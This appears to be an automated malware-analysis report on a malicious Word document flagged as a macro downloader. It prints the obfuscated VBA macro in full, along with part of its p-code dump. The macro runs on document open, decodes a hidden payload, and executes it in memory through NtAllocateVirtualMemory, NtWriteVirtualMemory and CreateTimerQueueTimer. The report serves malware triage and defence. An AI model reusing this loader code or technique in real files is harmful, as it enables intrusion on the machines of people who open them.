MALICIOUS
92
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Office document containing a VBA macro, as indicated by the OLE_VBA_MACROS heuristic and the presence of the 'macros.bas' file. The Document_Open macro is present, suggesting it executes upon opening. While the VBA code is heavily obfuscated, the critical ClamAV detection and the presence of VBA macros strongly suggest a downloader. The document body content is unrelated to the malicious functionality.
Heuristics 5
-
ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() edge -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 42179 bytes |
SHA-256: 22568b8a9096e392716d805719f5734e2d6e6d9ea8da6ab13a5ffea123bc1c52 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
edge
leukemia = 42 + 46
Pmt 0, leukemia, 36250, 38476, 5
End Sub
Attribute VB_Name = "fakir"
#If (20 - 39 + 419 + 44 - 62 + 318) > ((44 - 72 + 348) - (62 - 111 + 589) * 1) And Not ((120 - 95 + 3) - (86 - 15 - 43)) * 2 < (Win64) Then
Public Declare Function chamaedaphne _
Lib "Shlwapi " Alias _
"GetOverlappedResult" (ByVal holothuria As Any, uneventful As Any, deject As Any, montfort As Any) As Long
Public Declare Function vicious _
Lib "ntdll " Alias _
"NtWriteVirtualMemory" (ByVal rapit As Any, ByVal veracious As Any, ByVal barriers As Any, ByVal anglocatholicism As Any, ByVal adorned As Any) As Long
#End If
#If (92 - 13 + 321 + 24 - 16 + 292) > ((7 - 43 + 356) - (113 - 94 + 521) * 1) And ((54 - 60 + 34) - (128 - 108 + 8)) * 2 < (Win64) Then
Public Declare PtrSafe Function vicious _
Lib "ntdll " Alias _
"NtWriteVirtualMemory" (ByVal acerbic As Any, ByVal zonary As Any, ByVal farthing As Any, ByVal backstroke As Any, ByVal faltering As Any) As LongPtr
Public Declare PtrSafe Function ostracism _
Lib "Shlwapi " Alias _
"SleepConditionVariableSRW" (ByVal tricapsular As Any, nympholept As Any, accustom As Any, mako As Any) As LongPtr
#End If
Function cathartic(autotrophic) As String
Dim brocade(63) As Long
Dim liberty(6962) As Byte
Dim commensurable() As Byte
Dim eclipse As Long
Dim antistrophic As Long
chickasaw = obliquity And 254
Dim tanglebush As String
Dim parsimoniousness(63) As Long
Dim amore As Long
Dim corinth(63) As Long
Dim cognitively As Long
Dim asynergic As Integer
metaphase = 99 - 11 - 24
contriving = 1 - 123 + 258170
seizure = 83 - 113 + 65310
sketchiness = 12 - 70 + 4154
Dim wartime As Variant
approval = 49 - 4 + 262099
elaeagnaceae = 73 - 98 + 16711705
wyvern = 110 - 15 + 160
catamount = 128 - 38 + 3942
midnight = 33 - 46 + 16515085
Dim moneses As Integer
quackquack = 57 - 123 + 65602
cadaveric = 106 - 107 + 64
Dim hurlyburly As String
abhorrent = 117 - 56 + 195
Dim pupa As Integer
aufgeschoben = 59 - 87 + 7871
Dim aired() As Byte
aired = VBA.StrConv(autotrophic, 120 + 8)
arrastra = 20 + 41
Pmt 0, arrastra, 2730, 41716, 2
mater = 7843
abolishable = vbKeyShift - 12
For calorific = 0 To mater
If calorific Mod 2 = 0 Then
aired(calorific) = aired(calorific) - abolishable
Else
aired(calorific) = aired(calorific) - (abolishable - 1)
End If
Next calorific
concerning = 44 + 40
Pmt 0, concerning, 16179, 39390, 6
asynergic = 0
quavering = pentecostalism
For cognitively = (16 - 8 * 2) * 1 To (80 / 2 + 23) * (7 - 6)
parsimoniousness(cognitively) = broadloom(cognitively, metaphase, 41)
brocade(cognitively) = broadloom(cognitively, sketchiness, 41)
corinth(cognitively) = broadloom(cognitively, approval, 41)
Next cognitively
reconversion = 47 + 39
Pmt 0, reconversion, 27236, 43859, 8
commensurable = aired
alytes = 47 - 118 + 75
toucan = 4 + 41
Pmt 0, toucan, 21044, 12909, 4
epizoic = 55 - 127 + 75
chiropodist = obliquity * 3
unfeminine = epizoic + 1
secondstring = 56 - 123 + 69
For eclipse = 0 To mater
durity = commensurable(eclipse)
qed = commensurable(eclipse + 2)
estuation = brocade(quavering(commensurable(eclipse + 1)))
milliliter = parsimoniousness(quavering(qed)) + quavering(commensurable(eclipse + epizoic))
amore = corinth(quavering(durity)) + estuation + milliliter
cognitively = broadloom(amore, elaeagnaceae, 33)
liberty(antistrophic) = broadloom(cognitively, quackquack, 23)
cognitively = broadloom(amore, seizure, 33)
liberty(antistrophic + 1) = broadloom(cognitively, abhorrent, 23)
liberty(antistrophic + secondstring) = broadloom(amore, wyvern, 33)
antistrophic = antistrophic + secondstring + 1
eclipse = eclipse + 3
Next
cathartic = liberty
End Function
Function edge()
Dim park As String
Dim mangle As Integer
forestry.sandbank.Value = Day(#12/5/2013#)
varday = backup = butler
Set stereometry = forestry.sandbank.SelectedItem
screwloose = 4 + 32
Pmt 0, screwloose, 13496, 40890, 5
melodramatically = stereometry.Name
lawfulness = 62 - 94 + 7876
busker = Right(melodramatically, lawfulness)
cerebellum = cathartic(busker)
liana = 47 + 10
Pmt 0, liana, 35804, 22796, 5
#If (15 - 31 + 416 + 58 - 89 + 331) > ((37 - 91 + 374) - (49 - 54 + 545) * 1) And ((70 - 81 + 39) - (68 - 63 + 23)) * 2 < (Win64) Then
Dim mayenne As LongPtr
Dim henna As LongPtr
Dim chartered As Variant
Dim dodge As LongPtr
Dim burin As LongPtr
Dim cowslip As LongPtr
dermestidae = 87 - 20 + 1997
#End If
#If (98 - 61 + 363 + 108 - 113 + 305) > ((23 - 101 + 398) - (43 - 50 + 547) * 1) And Not ((122 - 19 - 75) - (28 - 92 + 92)) * 2 < (Win64) Then
Dim henna As Long
Dim amphigouri As Long
Dim mayenne As Long
Dim dodge As Long
architectonic = 36 - 102 + 847
Dim burin As Long
Dim cowslip As Long
dermestidae = architectonic + 3459
#End If
soaring = 65 - 101 + 36
actinidiaceae = 32 - 108 + 4172
leering = 20 + 9
Pmt 0, leering, 9542, 46194, 2
comae = 14 + 24
Pmt 0, comae, 26917, 49025, 6
fatalism = cerebellum
mayenne = forewarn(fatalism)
Dim indefensible As Variant
Dim gormandize As Integer
dodge = 89 - 39 - 50
henna = mayenne + dermestidae
burin = 6 - 47 + 201568
cowslip = 15 - 65 + 3550
disorderliness burin, _
dodge, henna, _
dodge, dodge, _
dodge, dodge
mouthpart = 32 + 14
Pmt 0, mouthpart, 24132, 51126, 6
End Function
Attribute VB_Name = "monolingually"
#If (20 - 39 + 419 + 44 - 62 + 318) > ((44 - 72 + 348) - (62 - 111 + 589) * 1) And Not ((120 - 95 + 3) - (86 - 15 - 43)) * 2 < (Win64) Then
Public Declare Function disorderliness _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (cornetapistons As Any, ByVal sportule As Any, ByVal flam As Any, ByVal copy As Any, ByVal pebbles As Any, ByVal inevitableness As Any, ByVal dib As Any) As Long
Public Declare Function ixion _
Lib "ntdll " Alias _
"AcquireSRWLockShared" (cognate As Any) As Long
#End If
#If (20 - 39 + 419 + 44 - 62 + 318) > ((44 - 72 + 348) - (62 - 111 + 589) * 1) And Not ((120 - 95 + 3) - (86 - 15 - 43)) * 2 < (Win64) Then
Public Declare Function impossibly _
Lib "ntdll " Alias _
"NtAllocateVirtualMemory" (venison As Long, sclerodema As Long, ByVal metamere As Long, shadowsByVal As Long, unpopular As Long, ByVal marina As Long) As Long
Public Declare Function parisian _
Lib "Shlwapi " Alias _
"SleepConditionVariableSRW" (ByVal lowlihood As Any, beethovenian As Any, primarily As Any, camassia As Any) As Long
#End If
#If (92 - 13 + 321 + 24 - 16 + 292) > ((7 - 43 + 356) - (113 - 94 + 521) * 1) And ((54 - 60 + 34) - (128 - 108 + 8)) * 2 < (Win64) Then
Public Declare PtrSafe Function disorderliness _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (classes As Any, ByVal morbid As Any, ByVal slategray As Any, ByVal botuliform As Any, ByVal homolousian As Any, ByVal nautilidae As Any, ByVal chastised As Any) As Long
Public Declare PtrSafe Function emblem _
Lib "Shlwapi " Alias _
"GetOverlappedResult" (ByVal baptize As Any, reasoned As Any, doorstop As Any, ataghan As Any) As LongPtr
#End If
#If (92 - 13 + 321 + 24 - 16 + 292) > ((7 - 43 + 356) - (113 - 94 + 521) * 1) And ((54 - 60 + 34) - (128 - 108 + 8)) * 2 < (Win64) Then
Public Declare PtrSafe Function impossibly _
Lib "ntdll " Alias _
"NtAllocateVirtualMemory" (unproved As LongPtr, highflying As LongPtr, ByVal afterclap As LongPtr, affirmativenessByVal As LongPtr, anywhere As LongPtr, ByVal normative As LongPtr) As LongPtr
Public Declare PtrSafe Function airlift _
Lib "ntdll " Alias _
"AcquireSRWLockShared" (cow As Any) As LongPtr
#End If
Function broadloom(leafhopper, incantation, amentes)
If amentes = 23 + (10 / 2 - 5) Then
broadloom = leafhopper \ incantation
ElseIf amentes = 33 + (5 - 3) / 2 - 1 Then
broadloom = leafhopper And incantation
ElseIf amentes = 41 + (56 / 7 - 4 * 2) Then
broadloom = leafhopper * incantation
End If
End Function
Function pentecostalism()
Dim uninfluential(255) As Byte
averruncate = 53 - 57 + 69
For I = averruncate To (48 - 101 + 144)
uninfluential(averruncate) = averruncate - (87 - 16 - 6)
averruncate = averruncate + 1
If (33 - 72 + 130) < averruncate Then
nurts = averruncate
Exit For
End If
Next
averruncate = (83 - 100 + 65)
For I = averruncate To (9 - 21 + 70)
uninfluential(averruncate) = averruncate + (90 - 90 + 4)
averruncate = averruncate + 1
If (46 - 128 + 140) < averruncate Then
nurts = averruncate + 205
Exit For
End If
Next
averruncate = (23 - 111 + 185)
For I = averruncate To (63 - 87 + 147)
uninfluential(averruncate) = averruncate - (120 - 33 - 16)
averruncate = averruncate + 1
If (113 - 18 + 28) < averruncate Then
nurts = averruncate - 48
Exit For
End If
Next
uninfluential(66 - 11 - 8) = (74 - 53 + 42)
averruncate = (18 - 107 + 132)
uninfluential(averruncate) = (51 - 3 + 14)
pentecostalism = uninfluential
End Function
Function amia(acromicria, cheery, eutrophy)
Dim preterition As Byte
Dim abscond As Integer
Dim directorship As LongPtr
Dim buffoon As LongPtr
Dim cohering As LongPtr
Dim acupuncture As Byte
Dim articular As LongPtr
Dim knitter As LongPtr
doting = Rnd(138)
obliquity = doting Or 145
buffoon = acromicria
knitter = eutrophy
articular = cheery
bedight = 53 + 32
Pmt 0, bedight, 4818, 13250, 4
chickasaw = Math.Round(78)
directorship = 72 - 3 - 70
vicious ByVal directorship, _
buffoon, _
articular, knitter, _
cohering
chickasaw = obliquity And 329
End Function
Function refluent(arbitration, grano, wold)
Dim bobbish As Long
Dim zygoma As Byte
Dim bluegill As Long
Dim lycopodineae As Variant
Dim platanistidae As Long
Dim succulent As String
Dim disband As Long
Dim cheval As Integer
Dim gallium As Long
Dim alto As Byte
Dim equatable As Integer
bobbish = arbitration
gallium = wold
platanistidae = grano
slummock = 23 + 21
Pmt 0, slummock, 22003, 47577, 2
bluegill = 111 - 98 - 14
vicious ByVal bluegill, bobbish, platanistidae, gallium, disband
End Function
Function forewarn(mangelwurzel)
Dim arrrange As Byte
Dim cooker As Byte
Dim diacoustics As String
Dim tr As String
#If (50 - 19 + 369 + 98 - 30 + 232) > ((15 - 71 + 376) - (23 - 80 + 597) * 1) And ((18 - 31 + 41) - (47 - 124 + 105)) * 2 < (Win64) Then
Dim editorship As Byte
Dim dormant As LongPtr
adaptation = 92 - 36 - 48
Dim axiomatic As LongPtr
Dim abovestairs As String
Dim disruptively As String
Dim multiparous As LongPtr
Dim blenny As Variant
phocomelia = VarPtr(dormant)
herborist = amia(phocomelia, VarPtr(mangelwurzel) + (90 - 26 - 56), adaptation)
#End If
#If (117 - 36 + 319 + 96 - 9 + 213) > ((31 - 71 + 360) - (58 - 94 + 576) * 1) And Not ((98 - 77 + 7) - (97 - 43 - 26)) * 2 < (Win64) Then
Dim dormant As Long
adaptation = 10 - 81 + 75
Dim axiomatic As Long
Dim multiparous As Long
phocomelia = VarPtr(dormant)
herborist = refluent(phocomelia, VarPtr(mangelwurzel) + (45 - 49 + 12), adaptation)
#End If
buyer = 43 - 119 + 75
axiomatic = 41 - 49 + 8
abovestairs = 59 - 107 + 48
multiparous = 81 - 15 + 9238
conima = 84 - 99 + 4111
indentation = 24 - 83 + 123
hoosier = impossibly(ByVal buyer, _
axiomatic, ByVal abovestairs, multiparous, ByVal conima, _
ByVal indentation)
volander = refluent(axiomatic, dormant, 82 - 16 + 5817)
unreactive = 15 + 17
Pmt 0, unreactive, 3138, 17495, 3
forewarn = axiomatic
End Function
Attribute VB_Name = "forestry"
Attribute VB_Base = "0{F094C6A7-C4FD-421A-B30F-55AE1982038B}{37EAF5D2-A337-49CF-8CD2-EF60F3CD3863}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Processing file: /opt/analyzer/scan_staging/e18bcbba83864e92b5714d8572bc43bb.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2030 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' FuncDefn (Sub MSForms())
' Line #6:
' ArgsCall edge 0x0000
' Line #7:
' LitDI2 0x002A
' LitDI2 0x002E
' Add
' St arefaction
' Line #8:
' LitDI2 0x0000
' Ld arefaction
' LitDI4 0x8D9A 0x0000
' LitDI4 0x964C 0x0000
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #9:
' EndSub
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Macros/VBA/fakir - 13382 bytes
' Line #0:
' LbMark
' LitDI2 0x0014
' LitDI2 0x0027
' Sub
' LitDI2 0x01A3
' Add
' LitDI2 0x002C
' Add
' LitDI2 0x003E
' Sub
' LitDI2 0x013E
' Add
' Paren
' LitDI2 0x002C
' LitDI2 0x0048
' Sub
' LitDI2 0x015C
' Add
' Paren
' LitDI2 0x003E
' LitDI2 0x006F
' Sub
' LitDI2 0x024D
' Add
' Paren
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0078
' LitDI2 0x005F
' Sub
' LitDI2 0x0003
' Add
' Paren
' LitDI2 0x0056
' LitDI2 0x000F
' Sub
' LitDI2 0x002B
' Sub
' Paren
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #1:
' LineCont 0x0008 00 00 DC FF 00 00 C6 FF
' Reparse 0x00A4 "Public Declare Function chamaedaphneLib "Shlwapi " Alias"GetOverlappedResult" (ByVal holothuria As Any, uneventful As Any, deject As Any, montfort As Any) As Long"
' Line #2:
' LineCont 0x0008 00 00 E1 FF 00 00 CC FF
' Reparse 0x00CB "Public Declare Function viciousLib "ntdll " Alias"NtWriteVirtualMemory" (ByVal rapit As Any, ByVal veracious As Any, ByVal barriers As Any, ByVal anglocatholicism As Any, ByVal adorned As Any) As Long"
' Line #3:
' LbMark
' LbEndIf
' Line #4:
' LbMark
' LitDI2 0x005C
' LitDI2 0x000D
' Sub
' LitDI2 0x0141
' Add
' LitDI2 0x0018
' Add
' LitDI2 0x0010
' Sub
' LitDI2 0x0124
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x002B
' Sub
' LitDI2 0x0164
' Add
' Paren
' LitDI2 0x0071
' LitDI2 0x005E
' Sub
' LitDI2 0x0209
' Add
' Paren
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0036
' LitDI2 0x003C
' Sub
' LitDI2 0x0022
' Add
' Paren
' LitDI2 0x0080
' LitDI2 0x006C
' Sub
' LitDI2 0x0008
' Add
' Paren
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #5:
' LineCont 0x0008 05 00 00 00 08 00 00 00
' FuncDefn (Public Function vicious(ByVal acerbic As ) As Ptr)
' Line #6:
' LineCont 0x0008 05 00 00 00 08 00 00 00
' FuncDefn (Public Function ostracism(ByVal tricapsular As ) As Ptr)
' Line #7:
' LbMark
' LbEndIf
' Line #8:
' FuncDefn (Function cathartic(autotrophic) As String)
' Line #9:
' Dim
' OptionBase
' LitDI2 0x003F
' VarDefn brocade
' Line #10:
' Dim
' OptionBase
' LitDI2 0x1B32
' VarDefn liberty
' Line #11:
' Dim
' VarDefn commensurable
' Line #12:
' Dim
' VarDefn eclipse (As Long)
' Line #13:
' Dim
' VarDefn antistrophic (As Long)
' Line #14:
' Ld obliquity
' LitDI2 0x00FE
' And
' St chickasaw
' Line #15:
' Dim
' VarDefn tanglebush (As String)
' Line #16:
' Dim
' OptionBase
' LitDI2 0x003F
' VarDefn parsimoniousness
' Line #17:
' Dim
' VarDefn amore (As Long)
' Line #18:
' Dim
' OptionBase
' LitDI2 0x003F
' VarDefn corinth
' Line #19:
' Dim
' VarDefn cognitively (As Long)
' Line #20:
' Dim
' VarDefn asynergic (As Integer)
' Line #21:
' LitDI2 0x0063
' LitDI2 0x000B
' Sub
' LitDI2 0x0018
' Sub
' St metaphase
' Line #22:
' LitDI2 0x0001
' LitDI2 0x007B
' Sub
' LitDI4 0xF07A 0x0003
' Add
' St contriving
' Line #23:
' LitDI2 0x0053
' LitDI2 0x0071
' Sub
' LitDI4 0xFF1E 0x0000
' Add
' St seizure
' Line #24:
' LitDI2 0x000C
' LitDI2 0x0046
' Sub
' LitDI2 0x103A
' Add
' St sketchiness
' Line #25:
' Dim
' VarDefn wartime (As Variant)
' Line #26:
' LitDI2 0x0031
' LitDI2 0x0004
' Sub
' LitDI4 0xFFD3 0x0003
' Add
' St approval
' Line #27:
' LitDI2 0x0049
' LitDI2 0x0062
' Sub
' LitDI4 0x0019 0x00FF
' Add
' St elaeagnaceae
' Line #28:
' LitDI2 0x006E
' LitDI2 0x000F
' Sub
' LitDI2 0x00A0
' Add
' St wyvern
' Line #29:
' LitDI2 0x0080
' LitDI2 0x0026
' Sub
' LitDI2 0x0F66
' Add
' St catamount
' Line #30:
' LitDI2 0x0021
' LitDI2 0x002E
' Sub
' LitDI4 0x000D 0x00FC
' Add
' St midnight
' Line #31:
' Dim
' VarDefn moneses (As Integer)
' Line #32:
' LitDI2 0x0039
' LitDI2 0x007B
' Sub
' LitDI4 0x0042 0x0001
' Add
' St quackquack
' Line #33:
' LitDI2 0x006A
' LitDI2 0x006B
' Sub
' LitDI2 0x0040
' Add
' St cadaveric
' Line #34:
' Dim
' VarDefn hurlyburly (As String)
' Line #35:
' LitDI2 0x0075
' LitDI2 0x0038
' Sub
' LitDI2 0x00C3
' Add
' St abhorrent
' Line #36:
' Dim
' VarDefn pupa (As Integer)
' Line #37:
' LitDI2 0x003B
' LitDI2 0x0057
' Sub
' LitDI2 0x1EBF
' Add
' St aufgeschoben
' Line #38:
' Dim
' VarDefn aired
' Line #39:
' Ld autotrophic
' LitDI2 0x0078
' LitDI2 0x0008
' Add
' Ld VBA
' ArgsMemLd StrConv 0x0002
' St aired
' Line #40:
' LitDI2 0x0014
' LitDI2 0x0029
' Add
' St arrastra
' Line #41:
' LitDI2 0x0000
' Ld arrastra
' LitDI2 0x0AAA
' LitDI4 0xA2F4 0x0000
' LitDI2 0x0002
' ArgsCall Pmt 0x0005
' Line #42:
' LitDI2 0x1EA3
' St mater
' Line #43:
' Ld vbKeyShift
' LitDI2 0x000C
' Sub
' St abolishable
' Line #44:
' StartForVariable
' Ld calorific
' EndForVariable
' LitDI2 0x0000
' Ld mater
' For
' Line #45:
' Ld calorific
' LitDI2 0x0002
' Mod
' LitDI2 0x0000
' Eq
' IfBlock
' Line #46:
' Ld calorific
' ArgsLd aired 0x0001
' Ld abolishable
' Sub
' Ld calorific
' ArgsSt aired 0x0001
' Line #47:
' ElseBlock
' Line #48:
' Ld calorific
' ArgsLd aired 0x0001
' Ld abolishable
' LitDI2 0x0001
' Sub
' Paren
' Sub
' Ld calorific
' ArgsSt aired 0x0001
' Line #49:
' EndIfBlock
' Line #50:
' StartForVariable
' Ld calorific
' EndForVariable
' NextVar
' Line #51:
' LitDI2 0x002C
' LitDI2 0x0028
' Add
' St concerning
' Line #52:
' LitDI2 0x0000
' Ld concerning
' LitDI2 0x3F33
' LitDI4 0x99DE 0x0000
' LitDI2 0x0006
' ArgsCall Pmt 0x0005
' Line #53:
' LitDI2 0x0000
' St asynergic
' Line #54:
' Ld pentecostalism
' St quavering
' Line #55:
' StartForVariable
' Ld cognitively
' EndForVariable
' LitDI2 0x0010
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' Sub
' Paren
' LitDI2 0x0001
' Mul
' LitDI2 0x0050
' LitDI2 0x0002
' Div
' LitDI2 0x0017
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0006
' Sub
' Paren
' Mul
' For
' Line #56:
' Ld cognitively
' Ld metaphase
' LitDI2 0x0029
' ArgsLd broadloom 0x0003
' Ld cognitively
' ArgsSt parsimoniousness 0x0001
' Line #57:
' Ld cognitively
' Ld sketchiness
' LitDI2 0x0029
' ArgsLd broadloom 0x0003
' Ld cognitively
' ArgsSt brocade 0x0001
' Line #58:
' Ld cognitively
' Ld approval
' LitDI2 0x0029
' ArgsLd broadloom 0x0003
' Ld cognitively
' ArgsSt corinth 0x0001
' Line #59:
' StartForVariable
' Ld cognitively
' EndForVariable
' NextVar
' Line #60:
' LitDI2 0x002F
' LitDI2 0x0027
' Add
' St reconversion
' Line #61:
' LitDI2 0x0000
' Ld reconversion
' LitDI2 0x6A64
' LitDI4 0xAB53 0x0000
' LitDI2 0x0008
' ArgsCall Pmt 0x0005
' Line #62:
' Ld aired
' St commensurable
' Line #63:
' LitDI2 0x002F
' LitDI2 0x0076
' Sub
' LitDI2 0x004B
' Add
' St alytes
' Line #64:
' LitDI2 0x0004
' LitDI2 0x0029
' Add
' St toucan
' Line #65:
' LitDI2 0x0000
' Ld toucan
' LitDI2 0x5234
' LitDI2 0x326D
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #66:
' LitDI2 0x0037
' LitDI2 0x007F
' Sub
' LitDI2 0x004B
' Add
' St epizoic
' Line #67:
' Ld obliquity
' LitDI2 0x0003
' Mul
' St chiropodist
' Line #68:
' Ld epizoic
' LitDI2 0x0001
' Add
' St unfeminine
' Line #69:
' LitDI2 0x0038
' LitDI2 0x007B
' Sub
' LitDI2 0x0045
' Add
' St secondstring
' Line #70:
' StartForVariable
' Ld eclipse
' EndForVariable
' LitDI2 0x0000
' Ld mater
' For
' Line #71:
' Ld eclipse
' ArgsLd commensurable 0x0001
' St durity
' Line #72:
' Ld eclipse
' LitDI2 0x0002
' Add
' ArgsLd commensurable 0x0001
' St qed
' Line #73:
' Ld eclipse
' LitDI2 0x0001
' Add
' ArgsLd commensurable 0x0001
' ArgsLd quavering 0x0001
' ArgsLd brocade 0x0001
' St estuation
' Line #74:
' Ld qed
' ArgsLd quavering 0x0001
' ArgsLd parsimoniousness 0x0001
' Ld eclipse
' Ld epizoic
' Add
' ArgsLd commensurable 0x0001
' ArgsLd quavering 0x0001
' Add
' St milliliter
' Line #75:
' Ld durity
' ArgsLd quavering 0x0001
' ArgsLd corinth 0x0001
' Ld estuation
' Add
' Ld milliliter
' Add
' St amore
' Line #76:
' Ld amore
' Ld elaeagnaceae
' LitDI2 0x0021
' ArgsLd broadloom 0x0003
' St cognitively
' Line #77:
' Ld cognitively
' Ld quackquack
' LitDI2 0x0017
' ArgsLd broadloom 0x0003
' Ld antistrophic
' ArgsSt liberty 0x0001
' Line #78:
' Ld amore
' Ld seizure
' LitDI2 0x0021
' ArgsLd broadloom 0x0003
' St cognitively
' Line #79:
' Ld cognitively
' Ld abhorrent
' LitDI2 0x0017
' ArgsLd broadloom 0x0003
' Ld antistrophic
' LitDI2 0x0001
' Add
' ArgsSt liberty 0x0001
' Line #80:
' Ld amore
' Ld wyvern
' LitDI2 0x0021
' ArgsLd broadloom 0x0003
' Ld antistrophic
' Ld secondstring
' Add
' ArgsSt liberty 0x0001
' Line #81:
' Ld antistrophic
' Ld secondstring
' Add
' LitDI2 0x0001
' Add
' St antistrophic
' Line #82:
' Ld eclipse
' LitDI2 0x0003
' Add
' St eclipse
' Line #83:
' StartForVariable
' Next
' Line #84:
' Ld liberty
' St cathartic
' Line #85:
' EndFunc
' Line #86:
' FuncDefn (Function edge())
' Line #87:
' Dim
' VarDefn park (As String)
' Line #88:
' Dim
' VarDefn mangle (As Integer)
' Line #89:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld forestry
' MemLd sandbank
' MemSt Value
' Line #90:
' Ld backup
' Ld butler
' Eq
' St varday
' Line #91:
' SetStmt
' Ld forestry
' MemLd sandbank
' MemLd SelectedItem
' Set stereometry
' Line #92:
' LitDI2 0x0004
' LitDI2 0x0020
' Add
' St screwloose
' Line #93:
' LitDI2 0x0000
' Ld screwloose
' LitDI2 0x34B8
' LitDI4 0x9FBA 0x0000
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #94:
' Ld stereometry
' MemLd Name
' St melodramatically
' Line #95:
' LitDI2 0x003E
' LitDI2 0x005E
' Sub
' LitDI2 0x1EC4
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.